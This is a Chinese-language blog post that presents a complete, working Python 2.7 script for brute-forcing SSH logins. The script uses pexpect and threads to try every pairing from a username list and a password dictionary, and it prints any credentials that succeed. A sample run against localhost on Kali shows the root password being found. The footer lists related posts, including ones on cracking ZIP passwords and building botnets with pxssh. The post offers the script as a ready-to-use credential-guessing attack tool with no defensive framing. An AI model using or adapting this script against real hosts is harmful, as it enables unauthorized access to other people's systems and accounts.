利用python暴力破解ssh
# -*- coding:utf-8 -*-
#python 2.7 import optparse,sys,threading
import pexpect PROMPT = ['#','>','/$']
def ssh(host,user,password):
child = pexpect.spawn('ssh %s@%s' % (user,host))
ret = child.expect(['(?i)are you sure.*','(?i)password:',pexpect.TIMEOUT,pexpect.EOF])
#print child.before
if ret == 0:
child.sendline('yes')
child.expect('[pP]ssword:')
child.sendline(password)
try:
ret0 = child.expect(PROMPT)
if ret0 in (0,1,2):
#print child.before
print '[+] 已经连接0'
print '<*>用户是:' + user
print '<*>密码是:' + password
#return child
except:
print '[-]连接失败0,密码错误!'
elif ret == 1:
child.sendline(password)
try:
ret1 = child.expect(PROMPT)
print child.before
if ret1 in (0,1,2):
#print child.before
print '[+] 已经连接1'
print '<*>用户是:' + user
print '<*>密码是:' + password
#return child
except:
print '[-]连接失败1,用户或密码错误!'
else:
print '[-] 连接失败2' def main():
usage = 'Usage:%prog <-H host> <-U user.txt> <-D dictionary.txt>'
parser = optparse.OptionParser(usage,version='%prog v1.0')
parser.add_option('-H',dest='target_host',type='string',
help='目标主机')
parser.add_option('-U',dest='user',type='string',
help='ssh用户')
parser.add_option('-D',dest='dictionary',type='string',
help='密码字典')
(options,args) = parser.parse_args()
if (not options.target_host) | (not options.user) | (not options.dictionary):
print parser.usage
exit(0)
else:
target_host = options.target_host
users = options.user
passwords = options.dictionary
users = open(users)
passwords = open(passwords)
#i = 0
for user in users:
user = user.strip('\r\n')
#print user + str(i)
#i = i + 1
passwords.seek(0)#回到密码文件行首
for password in passwords:
password = password.strip('\r\n')
#print user
t = threading.Thread(target=ssh,args=(target_host,user,password))
t.start() if __name__ == '__main__':
main()
测试运行结果为:
python Sshconector.py -H 127.0.0.1 -U user.txt -D password.txt Linux HOSTKALI 3.18.0-kali1-amd64
[+] 已经连接1
<*>用户是:root
<*>密码是:xxxxxxx
[-]连接失败1,用户或密码错误!
[-]连接失败1,用户或密码错误!
[-]连接失败1,用户或密码错误!
[-]连接失败1,用户或密码错误!
[-]连接失败1,用户或密码错误!
[-]连接失败1,用户或密码错误!
[-]连接失败1,用户或密码错误!
[-]连接失败1,用户或密码错误!
[-]连接失败1,用户或密码错误!
[-]连接失败1,用户或密码错误!
[-]连接失败1,用户或密码错误!
利用python暴力破解ssh的更多相关文章
- 利用python暴力破解压缩文件密码
import randomimport sysimport zipfileimport timefrom threading import Threadfrom multiprocessing imp ...
- Python脚本暴力破解SSH口令以及构建僵尸网络(pxssh)
目录 暴力破解SSH口令 SSH远端执行命令 构建僵尸网络 环境:Kali Linux python 2.7.13 暴力破解SSH口令 Pxssh是pexpect库的ssh专用脚本,他能用预先写好的 ...
- centos 7 DenyHosts 安装 防暴力破解ssh登陆
为了减少软件扫描ssh登陆 还是用这个比较好点 默认端口号22 也要改 登陆密码也不要使用 弱口令 123456 这样的 Description DenyHosts is a python prog ...
- python 暴力破解密码脚本
python 暴力破解密码脚本 以下,仅为个人测试代码,环境也是测试环境,暴力破解原理都是一样的, 假设要暴力破解登陆网站www.a.com 用户 testUser的密码, 首先,该网站登陆的验证要支 ...
- 10小时之内,暴力破解SSH账号的IP
10小时之内,暴力破解SSH账号的IP,IP 地址数据来源于 ip138.com 182.18.76.246 北京市昌平区 北京亿安天下网络科技有限公司 联通 221.223.200.143 北京市 ...
- 分享一个撩妹、装13神技能,0基础用Python暴力破解WiFi密码
WiFi密码Python暴力破解 Python密码破解部分截图 获取视频资料,转发此文+点击喜欢,然后获取资料请加Python交流群:580478401,就可以获取视频教程+源码 环境准备: py ...
- 使用Medusa美杜莎暴力破解SSH密码
使用Medusa美杜莎暴力破解SSH密码 1.Medusa简介 Medusa(美杜莎)是一个速度快,支持大规模并行,模块化的爆力破解工具.可以同时对多个主机,用户或密码执行强力测试.Medusa和hy ...
- Linux 利用hosts.deny 防止暴力破解ssh
一.ssh暴力破解 利用专业的破解程序,配合密码字典.登陆用户名,尝试登陆服务器,来进行破解密码,此方法,虽慢,但却很有效果. 二.暴力破解演示 2.1.基础环境:2台linux主机(centos 7 ...
- Linux 利用hosts.deny 防止暴力破解ssh(转)
一.ssh暴力破解 利用专业的破解程序,配合密码字典.登陆用户名,尝试登陆服务器,来进行破解密码,此方法,虽慢,但却很有效果. 二.暴力破解演示 2.1.基础环境:2台linux主机(centos 7 ...
随机推荐
- websphere8.5 与cxf2.x冲突问题
一个客户was部署的小问题,记录一下. 问题现象 在我们的服务中用调用别人的webservice服务报错,框架用的cxf. 报错关键信息有: E com.ibm.ws.webcontainer.web ...
- 大数据学习——azkaban工作流调度系统
azkaban的安装部署 在/root/apps 1目录下新建azkaban文件夹 上传安装包到azkaban 2解压 .tar.gz 3删掉安装包 [root@mini1 azkaban]# .ta ...
- 路由重分发 最重要 最难 ccnp
路由重分发 多种协议之间 彼此学习到对方的路由 重分发好 结果好 重分发不好 结果最好是产生次优路径 最差事产生路由黑洞和环路 实例1: 重分发一般需要双向重分发 ...
- 2017 Multi-University Training Contest - Team 4
日常绝望系列 Questionnaire HDU - 6075 In order to get better results in official ACM/ICPC contests, the te ...
- P2341 受欢迎的牛
受欢迎的牛 洛谷链接 题目大意: 有n头牛,牛会喜欢其他牛和自己,而喜欢是可以传递的,求被所有牛喜欢的牛的数量. 思路: 这是一道tarjan缩点的题目.被所有牛都喜欢的牛,一定会在一个强连通分量里. ...
- 有关git的配置
git版本控制器总结 关于部分内容请参考:https://www.cnblogs.com/smuxiaolei/p/7484678.htmlgit是一个版本控制器,分布式管理:可以记录每次文件的改动, ...
- iOS学习笔记20-地图(二)MapKit框架
一.地图开发介绍 从iOS6.0开始地图数据不再由谷歌驱动,而是改用自家地图,当然在国内它的数据是由高德地图提供的. 在iOS中进行地图开发主要有三种方式: 利用MapKit框架进行地图开发,利用这种 ...
- BZOJ3996 [TJOI2015]线性代数 【最小割】
题目 给出一个NN的矩阵B和一个1N的矩阵C.求出一个1*N的01矩阵A.使得 D=(AB-C)A^T最大.其中A^T为A的转置.输出D 输入格式 第一行输入一个整数N,接下来N行输入B矩阵,第i行第 ...
- 刷题总结——卡牌配对(bzoj4205网络流)
题目: Description 现在有一种卡牌游戏,每张卡牌上有三个属性值:A,B,C.把卡牌分为X,Y两类,分别有n1,n2张. 两张卡牌能够配对,当且仅当,存在至多一项属性值使得两张卡牌该项属性值 ...
- 【bzoj1710】[Usaco2007 Open]Cheappal 廉价回文
[bzoj1710][Usaco2007 Open]Cheappal 廉价回文 Description 为了跟踪所有的牛,农夫JOHN在农场上装了一套自动系统. 他给了每一个头牛一个电子牌号 当牛走过 ...